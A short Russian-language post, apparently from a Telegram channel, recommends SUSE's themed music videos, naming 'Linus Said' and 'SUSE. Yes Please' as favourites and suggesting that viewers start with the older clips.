Клипы реально классные, как по видеоряду, так и по музыке, содержанию. Я пару лет назад делал про них заметку. С тех пор клипов стало заметно больше. Они регулярно их выпускают. К сожалению, субъективно кажется, что чем позднее клипы, тем они хуже. Так что если будете слушать, начинайте с самых старых. Хотя недавний 🔥Are You Ready for Rancher прикольный.

🔝Мои самые любимые: Linus Said и SUSE. Yes Please.

Хороший тематический проект. Аналогов я даже и не знаю.

#музыка